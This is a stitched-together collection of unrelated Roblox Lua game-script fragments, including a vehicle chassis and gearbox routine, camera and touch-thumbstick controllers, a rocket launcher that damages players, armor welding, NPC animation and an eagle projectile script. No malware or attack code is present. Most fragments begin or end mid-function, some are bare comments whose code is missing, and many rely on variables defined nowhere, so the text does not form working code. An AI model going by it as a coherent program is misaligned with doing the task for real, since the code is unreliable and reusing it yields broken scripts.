TractionControl=true, FDownforce=0000, --Front Downforce (Unsprung) RDownforce=40000, --Rear Downforce (Unsprung) FFChange=0, FTolerance=10, FMaxDiff=40, FDecay=1, FGripGain=1, RFChange=-40000, RTolerance=10, RMaxDiff=40, RDecay=.01, RGripGain=.01, PBrakeForce=40000, SkidTol=40, ----------------------------------------- PBrake=false, FSkid=0, RSkid=0, } for i,v in pairs(Drive) do for n,a in pairs(v) do if a.Wheel:FindFirstChild("#AV") then a.Wheel:FindFirstChild("#AV"):Destroy() end local AV=Instance.new("BodyAngularVelocity",a.Wheel) AV.Name="#AV" AV.angularvelocity=Vector3.new(0,0,0) AV.maxTorque=Vector3.new(0,0,0) AV.P=Tc.MaxTorque end end mouse.Button1Up:connect(function() down1=false end) mouse.Button1Down:connect(function() down1=true end) mouse.Button2Up:connect(function() down2=false end) mouse.Button2Down:connect(function() down2=true end) mouse.WheelForward:connect(function() if GMode==1 then Tc.MaxThrotP=math.min(1,Tc.MaxThrotP+Tc.VariableThrotAdj) end end) mouse.WheelBackward:connect(function() if GMode==1 then Tc.MaxThrotP=math.max(0,Tc.MaxThrotP-Tc.VariableThrotAdj) end end) mouse.KeyDown:connect(function(key) if key=="q" then Tc.PrevGear=Tc.Gear Tc.GearShift=0 Tc.Gear=math.max(Tc.Gear-1,-1) elseif key=="e" then Tc.PrevGear=Tc.Gear Tc.GearShift=0 Tc.Gear=math.min(Tc.Gear+1,#Tc.Trans) elseif (string.byte(key)==48 and GMode==1) or (key=="p" and GMode==0) then Friction.PBrake=1 elseif (key=="w" and GMode==1) or (string.byte(key)==48 and GMode==0) then Tc.Clutch=1 elseif key=="t" then Friction.TractionControl=not Friction.TractionControl end end) mouse.KeyUp:connect(function(key) if (string.byte(key)==48 and GMode==1) or (key=="p" and GMode==0) then Friction.PBrake=0 elseif (key=="w" and GMode==1) or (string.byte(key)==48 and GMode==0) then Tc.Clutch=0 end end) local function AChassis() if GMode==0 then Tc.MaxThrotP=1 Tc.MaxBrakeP=1 Tc.Throttle=math.max(car.DriveSeat.Throttle,0) Tc.Brake=math.max(-car.DriveSeat.Throttle,0) elseif GMode==1 then Tc.MaxBrakeP=1 if down1 then Tc.Throttle=1 else Tc.Throttle=0 end if down2 then Tc.Brake=1 else Tc.Brake=0 end else Friction.PBrake=ButtonL1 Tc.Clutch=ButtonR1 Tc.Throttle=math.ceil(RTriggerValue) Tc.MaxThrotP=RTriggerValue Tc.Brake=math.ceil(LTriggerValue) Tc.MaxBrakeP=LTriggerValue^Tc.BExpGradient if Tc.ControllerGUp==0 and ButtonY==1 then Tc.PrevGear=Tc.Gear Tc.GearShift=0 Tc.Gear=math.min(Tc.Gear+1,#Tc.Trans) elseif Tc.ControllerGDown==0 and ButtonX==1 then Tc.PrevGear=Tc.Gear Tc.GearShift=0 Tc.Gear=math.max(Tc.Gear-1,-1) end Tc.ControllerGUp=ButtonY Tc.ControllerGDown=ButtonX end if Tc.Throttle==1 then Tc.ThrotP=math.min(Tc.MaxThrotP,Tc.ThrotP+Tc.ThrotAccel) else Tc.ThrotP=math.max(0,Tc.ThrotP-Tc.ThrotDecay) end if Tc.Brake==1 then Tc.BrakeP=math.min(Tc.MaxBrakeP,Tc.BrakeP+Tc.BrakeAccel) else Tc.BrakeP=math.max(0,Tc.BrakeP-Tc.BrakeDecay) end if Tc.Clutch==1 or Tc.Gear==0 then Tc.ClutchP=math.max(0,Tc.ClutchP-Tc.ClutchDecay) else Tc.ClutchP=math.min(1,Tc.ClutchP+Tc.ClutchAccel) end ------------- Tc.GearShift=math.min(1,Tc.GearShift+Tc.ShiftSpeed+(Tc.ClutchShiftSpeed*(1-Tc.ClutchP))) ---GearChangeBeta local tol=Tc.Trans[math.max(Tc.Gear,1)][7] local NSGear=Tc.Trans[math.max(Tc.Gear,1)][4]+Tc.Trans[math.max(Tc.Gear,1)][6]+3 local OSGear=Tc.Trans[math.max(Tc.PrevGear,1)][4]+Tc.Trans[math.max(Tc.PrevGear,1)][6]+3 local toprev=OSGear+((NSGear-OSGear)*Tc.GearShift) local gearDiff=(Tc.RPM*NSGear)-(Tc.RPM*OSGear) local stall=1 local stalltq=0 if math.abs(gearDiff)>tol then stall=Tc.GearShift if gearDiff>0 then stalltq=Tc.Trans[Tc.Gear][8]*(1-Tc.GearShift) else stalltq=Tc.Trans[Tc.Gear][9]*(1-Tc.GearShift) end end ------------- local frev=0 local rrev=0 for i,v in pairs(Drive[1]) do frev=math.max(frev,v.Wheel.RotVelocity.Magnitude) end for i,v in pairs(Drive[2]) do frev=math.max(frev,v.Wheel.RotVelocity.Magnitude) end for i,v in pairs(Drive[3]) do rrev=math.max(rrev,v.Wheel.RotVelocity.Magnitude) end for i,v in pairs(Drive[4]) do rrev=math.max(rrev,v.Wheel.RotVelocity.Magnitude) end local rev=rrev/toprev if Tc.DTrainDist==1 then rev=frev/toprev elseif Tc.DTrainDist~=-1 then rev=math.max(rev,frev/toprev) end local rGain=(Tc.ThrotP*2)-1 if rGain>0 then rGain=rGain*Tc.FreeAccel else rGain=rGain*Tc.FreeDecay end Tc.RPM=math.min(1,math.max(0,rev*Tc.ClutchP^.3,(Tc.RPM+rGain)*(1-Tc.ClutchP)^.3)) -- A-Chassis 5.0 for i,a in pairs(Drive) do for n,v in pairs(a) do local tq=0 if Tc.Gear>0 then Tc.Speed=toprev if v.Wheel.RotVelocity.Magnitude<Tc.Trans[Tc.Gear][4] then local tPerc=math.min(v.Wheel.RotVelocity.Magnitude/Tc.Trans[Tc.Gear][3],1) local tqChange=Tc.Trans[Tc.Gear][2]-Tc.Trans[Tc.Gear][1] tq=(Tc.Trans[Tc.Gear][1]+(tPerc*tqChange)) else if v.Wheel.RotVelocity.Magnitude<Tc.Trans[Tc.Gear][4]+Tc.Trans[Tc.Gear][6]-1 then local tPerc=(v.Wheel.RotVelocity.Magnitude-Tc.Trans[Tc.Gear][4])/Tc.Trans[Tc.Gear][5] local tqChange=Tc.Trans[Tc.Gear][2] tq=(math.max(0,Tc.Trans[Tc.Gear][2]-(tPerc*tqChange))) else Tc.Speed=(Tc.Trans[Tc.Gear][4]+Tc.Trans[Tc.Gear][6])*Tc.RevBounceP tq=Tc.Trans[Tc.Gear][2]*2 end end elseif Tc.Gear==0 then tq=0 else Tc.Speed=-Tc.ReverseSp tq=Tc.ReverseTq end if i==1 then tq=tq*(1-(GSteer*Tc.FDiffPerc))*(1+math.abs(GSteer*Tc.CDiffPerc))*(1+Tc.DTrainDist) elseif i==2 then tq=tq*(1+(GSteer*Tc.FDiffPerc))*(1+math.abs(GSteer*Tc.CDiffPerc))*(1+Tc.DTrainDist) elseif i==3 then tq=tq*(1-(GSteer*Tc.RDiffPerc))*(1-math.abs(GSteer*Tc.CDiffPerc))*(1-Tc.DTrainDist) else tq=tq*(1+(GSteer*Tc.RDiffPerc))*(1-math.abs(GSteer*Tc.CDiffPerc))*(1-Tc.DTrainDist) end tq=tq*Tc.ThrotP*Tc.ClutchP^Tc.ExpGradient tq=tq+(tq*stalltq) local br=Tc.Brakes*Tc.BrakeP^Tc.ExpGradient tq=math.abs(tq-br) Tc.Speed=Tc.Speed*(1-math.ceil(Tc.BrakeP)) if i>2 and Friction.PBrake==1 then Tc.Speed=0 tq=Friction.PBrakeForce end local Ref=v.Axle.CFrame.lookVector local Speed=Tc.Speed if i==1 or i==3 then Speed=-Speed end local TqVector=1 if Friction.TractionControl then TqVector=math.max(0,Friction.SkidTol-math.abs((v.Wheel.RotVelocity.Magnitude*(v.Wheel.Size.X/2))-v.Wheel.Velocity.Magnitude))/Friction.SkidTol if TqVector<.7 then script.Parent.Gauges.Speedo.TC.Visible=true else script.Parent.Gauges.Speedo.TC.Visible=false end else script.Parent.Gauges.Speedo.TC.Visible=false end v.Wheel["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*tq*TqVector v.Wheel["#AV"].angularvelocity=Ref*Speed*stall v.Wheel["#AV"].P=Tc.MaxTorque*TqVector end end end script.Parent.Gauges.Speedo.Units.MouseButton1Click:connect(function() if Tc.CUnit>=3 then Tc.CUnit=1 else Tc.CUnit=Tc.CUnit+1 end script.Parent.Gauges.Speedo.Units.Text=Tc.Units[Tc.CUnit][1] end) local numbers={180354176,180354121,180354128,180354131,180354134,180354138,180354146,180354158,180354160,180354168,180355596,180354115} local function Speedometer() --Sound car.DriveSeat.Rev.Pitch=car.DriveSeat.Rev.SetPitch.Value+car.DriveSeat.Rev.SetRev.Value*Tc.RPM car.DriveSeat.Rel.Pitch=car.DriveSeat.Rel.SetPitch.Value+car.DriveSeat.Rel.SetRev.Value*Tc.RPM car.DriveSeat.Rev.Volume=car.DriveSeat.Rev.SetVolume.Value*Tc.ThrotP car.DriveSeat.Rel.Volume=car.DriveSeat.Rel.SetVolume.Value*(1-Tc.ThrotP) if Tc.Throttle ~= 1 then car.DriveSeat.Backfire.Volume=math.min(math.max((Tc.RPM-.5)/.5,0)*.7,car.DriveSeat.Backfire.Volume+.07) else car.DriveSeat.Backfire.Volume=math.max(car.DriveSeat.Backfire.Volume-.07,0) end --Afterburn if Tc.PrevThrot~=Tc.Throttle and Tc.RPM > .6 then local a=math.random(0,1) if a==1 then coroutine.resume(coroutine.create(function() for i,v in pairs(car.Body.Exhaust:GetChildren()) do v.Afterburn.Rate=10 end wait(.1) for i,v in pairs(car.Body.Exhaust:GetChildren()) do v.Afterburn.Rate=0 end end)) end end --Speedo local fwheel=Tc.RPM*(Tc.Trans[math.max(Tc.Gear,1)][4]+Tc.Trans[math.max(Tc.Gear,1)][6]) local z1=math.min(1,math.max(0,fwheel-(Tc.Trans[math.max(Tc.Gear,1)][3]*.5))/(Tc.Trans[math.max(Tc.Gear,1)][3]-(Tc.Trans[math.max(Tc.Gear,1)][3]*.5))) local z2=math.min(1,math.max(0,fwheel-Tc.Trans[math.max(Tc.Gear,1)][4])/Tc.Trans[math.max(Tc.Gear,1)][6]) local blue=1-z1 local red=z2*2 local green=0 if fwheel>Tc.Trans[math.max(Tc.Gear,1)][4] then green=1-z2 else green=math.max(.45,z1*2) end for i,v in pairs(script.Parent.Gauges.Tach:GetChildren()) do local n=tonumber(string.match(v.Name, "%d+")) if n~=nil then if n%2 == 0 then v.P.Size=UDim2.new(0,4,0,((1-math.abs(Tc.RPM-((n-1)/18)))^12*-40)-10) else v.P.Size=UDim2.new(0,6,0,((1-math.abs(Tc.RPM-((n-1)/18)))^12*-40)-10) end v.P.BackgroundColor3 = Color3.new(red,green,blue) end end local sp=car.DriveSeat.Velocity.Magnitude*Tc.Units[Tc.CUnit][2] if sp<1000 then local nnn=math.floor(sp/100) local nn=(math.floor(sp/10))-(nnn*10) local n=(math.floor(sp)-(nn*10))-(nnn*100) script.Parent.Gauges.Speedo.A.Image="http://www.roblox.com/asset/?id="..numbers[n+1] if sp>=10 then script.Parent.Gauges.Speedo.B.Image="http://www.roblox.com/asset/?id="..numbers[nn+1] else script.Parent.Gauges.Speedo.B.Image="http://www.roblox.com/asset/?id="..numbers[12] end if sp>=100 then script.Parent.Gauges.Speedo.C.Image="http://www.roblox.com/asset/?id="..numbers[nnn+1] else script.Parent.Gauges.Speedo.C.Image="http://www.roblox.com/asset/?id="..numbers[12] end else script.Parent.Gauges.Speedo.A.Image="http://www.roblox.com/asset/?id="..numbers[10] script.Parent.Gauges.Speedo.B.Image="http://www.roblox.com/asset/?id="..numbers[10] script.Parent.Gauges.Speedo.C.Image="http://www.roblox.com/asset/?id="..numbers[10] end if Tc.Gear>=0 then script.Parent.Gauges.Gear.G.Image="http://www.roblox.com/asset/?id="..numbers[Tc.Gear+1] else script.Parent.Gauges.Gear.G.Image="http://www.roblox.com/asset/?id="..numbers[11] end --Status Indicators script.Parent.Status.Clutch.B.Size=UDim2.new(0,4,-Tc.ClutchP,0) script.Parent.Status.Throttle.B.Size=UDim2.new(0,4,-Tc.ThrotP,0) script.Parent.Status.Brakes.B.Size=UDim2.new(0,4,-Tc.BrakeP,0) script.Parent.Status.ThrotLimit.B.Size=UDim2.new(0,4,-Tc.MaxThrotP,0) GSpeed=car.DriveSeat.Velocity.Magnitude GTopSp=Tc.Trans[#Tc.Trans][4]+Tc.Trans[#Tc.Trans][6] GRev=Tc.RPM GThrottle=Tc.ThrotP GBrake=Tc.BrakeP Tc.PrevThrot=Tc.Throttle end local function Smoke() local tireSP={} for i,v in pairs(Drive) do for n,a in pairs(v) do if a.Wheel:FindFirstChild("Smoke")~=nil and a.Wheel:FindFirstChild("Squeal")~=nil then if workspace:FindPartOnRay(Ray.new(a.Wheel.Position,Vector3.new(0,-a.Wheel.Size.X/2,0)),car) then a.Wheel.Smoke.Enabled=math.abs((a.Wheel.RotVelocity.Magnitude*(a.Wheel.Size.X/2))-a.Wheel.Velocity.Magnitude)>20 a.Wheel.Squeal.Volume=math.min(1,math.max(0,math.abs((a.Wheel.RotVelocity.Magnitude*(a.Wheel.Size.X/2))-a.Wheel.Velocity.Magnitude)-20)/20) else a.Wheel.Smoke.Enabled=false a.Wheel.Squeal.Volume=0 end end end end end --run:BindToRenderStep("AChassis",Enum.RenderPriority.Last.Value,AChassis) --run:BindToRenderStep("Speedometer",Enum.RenderPriority.Last.Value,Speedometer) --run:BindToRenderStep("Smoke",Enum.RenderPriority.Last.Value,Smoke) --table.insert(Binded,"AChassis") --table.insert(Binded,"Speedometer") --table.insert(Binded,"Smoke") table.insert(LoopRun,AChassis) table.insert(LoopRun,Speedometer) table.insert(LoopRun,Smoke) end Engine()
--!nonstrict --!nolint DeprecatedApi --[[ BaseCamera - Abstract base class for camera control modules 2018 Camera Update - AllYourBlox --]]
-- Local Functions
local function CreateRocket() local rocketCopy = RocketTemplate:Clone() rocketCopy.PrimaryPart.CFrame = CFrame.new(Configurations.StoragePosition.Value) rocketCopy.Parent = Storage rocketCopy.PrimaryPart:SetNetworkOwner(Owner) if(Owner) then rocketCopy.PrimaryPart.BrickColor = Owner.TeamColor end table.insert(Buffer, rocketCopy) end local function IntializeBuffer() for i = 1, Configurations.BufferSize.Value do CreateRocket() end end local function ResetRocketOwner() for _, rocket in ipairs(Buffer) do rocket.PrimaryPart:SetNetworkOwner(Owner) if(Owner) then rocket.PrimaryPart.BrickColor = Owner.TeamColor end end end local function OnExplosionHit(part, distance) local player = Players:GetPlayerFromCharacter(part.Parent) or Players:GetPlayerFromCharacter(part.Parent.Parent) if not player then if part.Parent.Name ~= 'RocketLauncher' and part.Parent.Name ~= 'Flag' and not part.Anchored then local volume = part.Size.X * part.Size.Y * part.Size.Z if volume <= Configurations.MaxDestroyVolume.Value then if distance < Configurations.BlastRadius.Value * Configurations.DestroyJointRadiusPercent.Value then part:BreakJoints() end if #part:GetChildren() == 0 then wait(2 * volume) part:Destroy() end end end end end local function OnRocketHit(player, rocket, position) local explosion = Instance.new('Explosion', game.Workspace) explosion.ExplosionType = Enum.ExplosionType.NoCraters explosion.DestroyJointRadiusPercent = 0 explosion.BlastRadius = Configurations.BlastRadius.Value explosion.BlastPressure = Configurations.BlastPressure.Value explosion.Position = position explosion.Hit:connect(function(part, distance) OnExplosionHit(part, distance, rocket) end) rocket.Part.Fire.Enabled = false wait(1) rocket:Destroy() end local function OnChanged(property) if property == 'Parent' then if Tool.Parent.Name == 'Backpack' then local backpack = Tool.Parent Owner = backpack.Parent elseif Players:GetPlayerFromCharacter(Tool.Parent) then Owner = Players:GetPlayerFromCharacter(Tool.Parent) else Owner = nil end ResetRocketOwner() end end local function OnFireRocket(player, rocket) rocket.Rocket.Transparency = 0 rocket.Part.Fire.Enabled = true CreateRocket() end local function DamagePlayer(hitPlayerId, player, damage) local hitPlayer = Players:GetPlayerByUserId(tonumber(hitPlayerId)) if (hitPlayer.TeamColor == player.TeamColor and Configurations.FriendlyFire.Value) or hitPlayer.TeamColor ~= player.TeamColor then local humanoid = hitPlayer.Character:FindFirstChild('Humanoid') if humanoid then humanoid:TakeDamage(damage) end end end local function OnHitPlayers(player, hitPlayers) for hitPlayerId, _ in pairs(hitPlayers) do DamagePlayer(hitPlayerId, player, Configurations.SplashDamage.Value) end end local function OnDirectHitPlayer(player, hitPlayerId) DamagePlayer(hitPlayerId, player, Configurations.Damage.Value) end
-- Cmdr:RegisterCommandsIn(script.Parent.CmdrCommands) -- Register commands from your own folder. (Optional)
-- This script was specially coded for the Plane Kit plane. It will not work with any other plane system
-- May return NaN or inf or -inf -- This is a way of finding the angle between the two vectors:
local function findAngleBetweenXZVectors(vec2, vec1) return math.atan2(vec1.X*vec2.Z-vec1.Z*vec2.X, vec1.X*vec2.X + vec1.Z*vec2.Z) end local function CreateAttachCamera() local module = RootCameraCreator() local lastUpdate = tick() function module:Update() local now = tick() local camera = workspace.CurrentCamera local player = PlayersService.LocalPlayer if lastUpdate == nil or now - lastUpdate > 1 then module:ResetCameraLook() self.LastCameraTransform = nil end local subjectPosition = self:GetSubjectPosition() if subjectPosition and player and camera then local zoom = self:GetCameraZoom() if zoom <= 0 then zoom = 0.1 end local humanoid = self:GetHumanoid() if lastUpdate and humanoid and humanoid.Torso then -- Cap out the delta to 0.1 so we don't get some crazy things when we re-resume from local delta = math.min(0.1, now - lastUpdate) local gamepadRotation = self:UpdateGamepad() self.RotateInput = self.RotateInput + (gamepadRotation * delta) local forwardVector = humanoid.Torso.CFrame.lookVector local y = findAngleBetweenXZVectors(forwardVector, self:GetCameraLook()) if IsFinite(y) then -- Preserve vertical rotation from user input self.RotateInput = Vector2.new(y, self.RotateInput.Y) end end local newLookVector = self:RotateCamera(self:GetCameraLook(), self.RotateInput) self.RotateInput = Vector2.new() camera.Focus = CFrame.new(subjectPosition) camera.CoordinateFrame = CFrame.new(camera.Focus.p - (zoom * newLookVector), camera.Focus.p) self.LastCameraTransform = camera.CoordinateFrame end lastUpdate = now end return module end return CreateAttachCamera
-- * Indicates whether the local player is in range of the `target` object -- -- Arguments: None -- Return: Boolean whether player is in range -- *
local function inRange() local distance = player:DistanceFromCharacter(target.Position) return distance > 0 and distance <= MAX_DISTANCE -- Distance should only be 0 when character doesnt exist end local function toggleInteraction() if ((not (MainFrame.Visible or SelectionFrame.Visible or TopBar.Enabled)) and inRange()) then show() else hide() end end local function interactionCheck() if not IS_CONSOLE then if ((not (MainFrame.Visible or SelectionFrame.Visible or TopBar.Enabled)) and inRange()) then InteractionButton.Visible = true elseif not inRange() then InteractionButton.Visible = false end end if MainFrame.Visible and not inRange() then hide() end end
-- How much damage the ai inficts towards the player
-- Define your character and the desired walkspeed
local character = script.Parent local desiredWalkspeed = 50 -- Change this value to your desired walkspeed local defaultWalkspeed = 16 -- Change this to your desired default walkspeed
----------//Health HUD\\----------
BloodScreen:Play() BloodScreenLowHP:Play() Humanoid.HealthChanged:Connect(function(Health) SE_GUI.Efeitos.Health.ImageTransparency = ((Health - (Humanoid.MaxHealth/2))/(Humanoid.MaxHealth/2)) SE_GUI.Efeitos.LowHealth.ImageTransparency = (Health /(Humanoid.MaxHealth/2)) end)
---------------------------------- ------------FUNCTIONS------------- ----------------------------------
function WeldChanged(property) if property == "Parent" and SeatWeld.Parent == nil then SeatWeld = nil Deactivate() BreakSeatConnections() Piano.Bench.Seat.Disabled = true wait(1) Piano.Bench.Seat.Disabled = false end end function ChildAdded(child) if child:IsA("Weld") then local root = child.Part1 local character = root.Parent local player = game.Players:GetPlayerFromCharacter(character) if player then SeatWeld = child Activate(player) MakeSeatConnections() end end end
--[[ The Module ]]
-- local BaseCharacterController = require(script.Parent:WaitForChild("BaseCharacterController")) local TouchThumbstick = setmetatable({}, BaseCharacterController) TouchThumbstick.__index = TouchThumbstick function TouchThumbstick.new() local self = setmetatable(BaseCharacterController.new() :: any, TouchThumbstick) self.isFollowStick = false self.thumbstickFrame = nil self.moveTouchObject = nil self.onTouchMovedConn = nil self.onTouchEndedConn = nil self.screenPos = nil self.stickImage = nil self.thumbstickSize = nil -- Float return self end function TouchThumbstick:Enable(enable: boolean?, uiParentFrame) if enable == nil then return false end -- If nil, return false (invalid argument) enable = enable and true or false -- Force anything non-nil to boolean before comparison if self.enabled == enable then return true end -- If no state change, return true indicating already in requested state self.moveVector = ZERO_VECTOR3 self.isJumping = false if enable then -- Enable if not self.thumbstickFrame then self:Create(uiParentFrame) end self.thumbstickFrame.Visible = true else -- Disable self.thumbstickFrame.Visible = false self:OnInputEnded() end self.enabled = enable end function TouchThumbstick:OnInputEnded() self.thumbstickFrame.Position = self.screenPos self.stickImage.Position = UDim2.new(0, self.thumbstickFrame.Size.X.Offset/2 - self.thumbstickSize/4, 0, self.thumbstickFrame.Size.Y.Offset/2 - self.thumbstickSize/4) self.moveVector = ZERO_VECTOR3 self.isJumping = false self.thumbstickFrame.Position = self.screenPos self.moveTouchObject = nil end function TouchThumbstick:Create(parentFrame) if self.thumbstickFrame then self.thumbstickFrame:Destroy() self.thumbstickFrame = nil if self.onTouchMovedConn then self.onTouchMovedConn:Disconnect() self.onTouchMovedConn = nil end if self.onTouchEndedConn then self.onTouchEndedConn:Disconnect() self.onTouchEndedConn = nil end end local minAxis = math.min(parentFrame.AbsoluteSize.X, parentFrame.AbsoluteSize.Y) local isSmallScreen = minAxis <= 500 self.thumbstickSize = isSmallScreen and 70 or 120 self.screenPos = isSmallScreen and UDim2.new(0, (self.thumbstickSize/2) - 10, 1, -self.thumbstickSize - 20) or UDim2.new(0, self.thumbstickSize/2, 1, -self.thumbstickSize * 1.75) self.thumbstickFrame = Instance.new("Frame") self.thumbstickFrame.Name = "ThumbstickFrame" self.thumbstickFrame.Active = true self.thumbstickFrame.Visible = false self.thumbstickFrame.Size = UDim2.new(0, self.thumbstickSize, 0, self.thumbstickSize) self.thumbstickFrame.Position = self.screenPos self.thumbstickFrame.BackgroundTransparency = 1 local outerImage = Instance.new("ImageLabel") outerImage.Name = "OuterImage" outerImage.Image = TOUCH_CONTROL_SHEET outerImage.ImageRectOffset = Vector2.new() outerImage.ImageRectSize = Vector2.new(220, 220) outerImage.BackgroundTransparency = 1 outerImage.Size = UDim2.new(0, self.thumbstickSize, 0, self.thumbstickSize) outerImage.Position = UDim2.new(0, 0, 0, 0) outerImage.Parent = self.thumbstickFrame self.stickImage = Instance.new("ImageLabel") self.stickImage.Name = "StickImage" self.stickImage.Image = TOUCH_CONTROL_SHEET self.stickImage.ImageRectOffset = Vector2.new(220, 0) self.stickImage.ImageRectSize = Vector2.new(111, 111) self.stickImage.BackgroundTransparency = 1 self.stickImage.Size = UDim2.new(0, self.thumbstickSize/2, 0, self.thumbstickSize/2) self.stickImage.Position = UDim2.new(0, self.thumbstickSize/2 - self.thumbstickSize/4, 0, self.thumbstickSize/2 - self.thumbstickSize/4) self.stickImage.ZIndex = 2 self.stickImage.Parent = self.thumbstickFrame local centerPosition = nil local deadZone = 0.05 local function DoMove(direction: Vector2) local currentMoveVector = direction / (self.thumbstickSize/2) -- Scaled Radial Dead Zone local inputAxisMagnitude = currentMoveVector.magnitude if inputAxisMagnitude < deadZone then currentMoveVector = Vector3.new() else currentMoveVector = currentMoveVector.unit * ((inputAxisMagnitude - deadZone) / (1 - deadZone)) -- NOTE: Making currentMoveVector a unit vector will cause the player to instantly go max speed -- must check for zero length vector is using unit currentMoveVector = Vector3.new(currentMoveVector.X, 0, currentMoveVector.Y) end self.moveVector = currentMoveVector end local function MoveStick(pos: Vector3) local relativePosition = Vector2.new(pos.X - centerPosition.X, pos.Y - centerPosition.Y) local length = relativePosition.magnitude local maxLength = self.thumbstickFrame.AbsoluteSize.X/2 if self.isFollowStick and length > maxLength then local offset = relativePosition.unit * maxLength self.thumbstickFrame.Position = UDim2.new( 0, pos.X - self.thumbstickFrame.AbsoluteSize.X/2 - offset.X, 0, pos.Y - self.thumbstickFrame.AbsoluteSize.Y/2 - offset.Y) else length = math.min(length, maxLength) relativePosition = relativePosition.unit * length end self.stickImage.Position = UDim2.new(0, relativePosition.X + self.stickImage.AbsoluteSize.X/2, 0, relativePosition.Y + self.stickImage.AbsoluteSize.Y/2) end -- input connections self.thumbstickFrame.InputBegan:Connect(function(inputObject: InputObject) --A touch that starts elsewhere on the screen will be sent to a frame's InputBegan event --if it moves over the frame. So we check that this is actually a new touch (inputObject.UserInputState ~= Enum.UserInputState.Begin) if self.moveTouchObject or inputObject.UserInputType ~= Enum.UserInputType.Touch or inputObject.UserInputState ~= Enum.UserInputState.Begin then return end self.moveTouchObject = inputObject self.thumbstickFrame.Position = UDim2.new(0, inputObject.Position.X - self.thumbstickFrame.Size.X.Offset/2, 0, inputObject.Position.Y - self.thumbstickFrame.Size.Y.Offset/2) centerPosition = Vector2.new(self.thumbstickFrame.AbsolutePosition.X + self.thumbstickFrame.AbsoluteSize.X/2, self.thumbstickFrame.AbsolutePosition.Y + self.thumbstickFrame.AbsoluteSize.Y/2) local direction = Vector2.new(inputObject.Position.X - centerPosition.X, inputObject.Position.Y - centerPosition.Y) end) self.onTouchMovedConn = UserInputService.TouchMoved:Connect(function(inputObject: InputObject, isProcessed: boolean) if inputObject == self.moveTouchObject then centerPosition = Vector2.new(self.thumbstickFrame.AbsolutePosition.X + self.thumbstickFrame.AbsoluteSize.X/2, self.thumbstickFrame.AbsolutePosition.Y + self.thumbstickFrame.AbsoluteSize.Y/2) local direction = Vector2.new(inputObject.Position.X - centerPosition.X, inputObject.Position.Y - centerPosition.Y) DoMove(direction) MoveStick(inputObject.Position) end end) self.onTouchEndedConn = UserInputService.TouchEnded:Connect(function(inputObject, isProcessed) if inputObject == self.moveTouchObject then self:OnInputEnded() end end) GuiService.MenuOpened:Connect(function() if self.moveTouchObject then self:OnInputEnded() end end) self.thumbstickFrame.Parent = parentFrame end return TouchThumbstick
--- Same as indexing, but uses an incremented number as a key. -- @param task An item to clean -- @treturn number taskId
function Maid:GiveTask(task) if not task then error("Task cannot be false or nil", 2) end local taskId = #self._tasks+1 self[taskId] = task if type(task) == "table" and (not task.Destroy) then warn("[Maid.GiveTask] - Gave table task without .Destroy\n\n" .. debug.traceback()) end return taskId end function Maid:GivePromise(promise) if not promise:IsPending() then return promise end local newPromise = promise.resolved(promise) local id = self:GiveTask(newPromise) -- Ensure GC newPromise:Finally(function() self[id] = nil end) return newPromise end
--//Controller//--
Humanoid.StateChanged:Connect(function(OldState, NewState) if NewState == Enum.HumanoidStateType.Jumping then local HumanoidDescription = Humanoid:GetAppliedDescription() if Settings.Scale <= 1 then Settings.Scale = 1 HumanoidDescription.DepthScale = 1 HumanoidDescription.WidthScale = 1 Humanoid:ApplyDescription(HumanoidDescription) Humanoid.WalkSpeed = Humanoid.WalkSpeed + 4 Humanoid.JumpPower = Humanoid.JumpPower + 15 script:Destroy() else Settings.Scale = Settings.Scale - 0.1 HumanoidDescription.DepthScale = Settings.Scale HumanoidDescription.WidthScale = Settings.Scale Humanoid:ApplyDescription(HumanoidDescription) end end end)
-- sprinting
local FOVChanges = { FieldOfView = 90 } local TweenInformation = TweenInfo.new( 1, --tween length Enum.EasingStyle.Quint, --easing Style Enum.EasingDirection.Out, --easing Direction 0, --repitition time false, --reverse? 0 --delay ) local tween = TweeningService:Create(camera,TweenInformation,FOVChanges)
--//Main Function
ProximityPrompt.Triggered:Connect(function(Player) local Character = Player.Character local Torso = Character:WaitForChild("Right Arm") ProximityPrompt.ActionText = "Wear" if Character:FindFirstChild(script.Parent.Parent.Name) then Character[script.Parent.Parent.Name]:Destroy() else local NewArmor = Armor:Clone() NewArmor:SetPrimaryPartCFrame(Torso.CFrame) NewArmor.PrimaryPart:Destroy() ProximityPrompt.ActionText = "Take off" for _, part in pairs (NewArmor:GetChildren()) do if part:IsA("BasePart") then WeldParts(Torso, part) part.CanCollide = false part.Anchored = false end end NewArmor.Parent = Character end end)
-- Create and load the animations
loadAnimation(animationController, Animations.SuperheroIdle):Play() waveAnimationTrack = loadAnimation(animationController, Animations.Wave) waveAnimationTrack.Looped = false RunService.Stepped:Connect(function() local distance = makeNPCLookAt(character.PrimaryPart.Position) if distance and distance < WAVE_THRESHOLD then if tick() - lastWavedAt > WAVE_DEBOUNCE_TIME and not characterIsNear then waveAnimationTrack:Play(.5) lastWavedAt = tick() end characterIsNear = true else characterIsNear = false end end)
--Made by Luckymaxer
Eagle = script.Parent Debris = game:GetService("Debris") RbxUtility = LoadLibrary("RbxUtility") Create = RbxUtility.Create Creator = Eagle:FindFirstChild("Creator") Target = Eagle:FindFirstChild("Target") BodyPosition = Eagle:FindFirstChild("BodyPosition") BodyGyro = Eagle:FindFirstChild("BodyGyro") Rate = (1 / 60) TargetReached = false TargetFailed = false Speed = 3 function TagHumanoid(humanoid, player) local Creator_Tag = Create("ObjectValue"){ Name = "creator", Value = player, } Debris:AddItem(Creator_Tag, 2) Creator_Tag.Parent = humanoid end function UntagHumanoid(humanoid) for i, v in pairs(humanoid:GetChildren()) do if v:IsA("ObjectValue") and v.Name == "creator" then v:Destroy() end end end function GetCreator() local Player = Creator.Value if not Player or not Player.Parent or not Player:IsA("Player") then return end local Character = Player.Character if not Character or not Character.Parent then return end local Humanoid = Character:FindFirstChild("Humanoid") if not Humanoid or Humanoid.Health == 0 then return end return {Player = Player, Character = Character, Humanoid = Humanoid} end function GetTarget() local Character = Target.Value if not Character or not Character.Parent then return end local Humanoid = Character:FindFirstChild("Humanoid") if not Humanoid or Humanoid.Health == 0 then return end return {Character = Character, Humanoid = Humanoid} end function CheckIfCreatorAlive() return ((GetCreator() and true) or false) end function CheckIfTargetAlive() return ((GetTarget() and true) or false) end while CheckIfCreatorAlive() and CheckIfTargetAlive() and not TargetReached and not TargetFailed and BodyPosition.Parent and BodyGyro.Parent do local TargetValue = GetTarget() if TargetValue then local TargetHead = TargetValue.Character:FindFirstChild("Head") if not TargetHead then TargetFailed = true break end local Distance = (Eagle.Position - 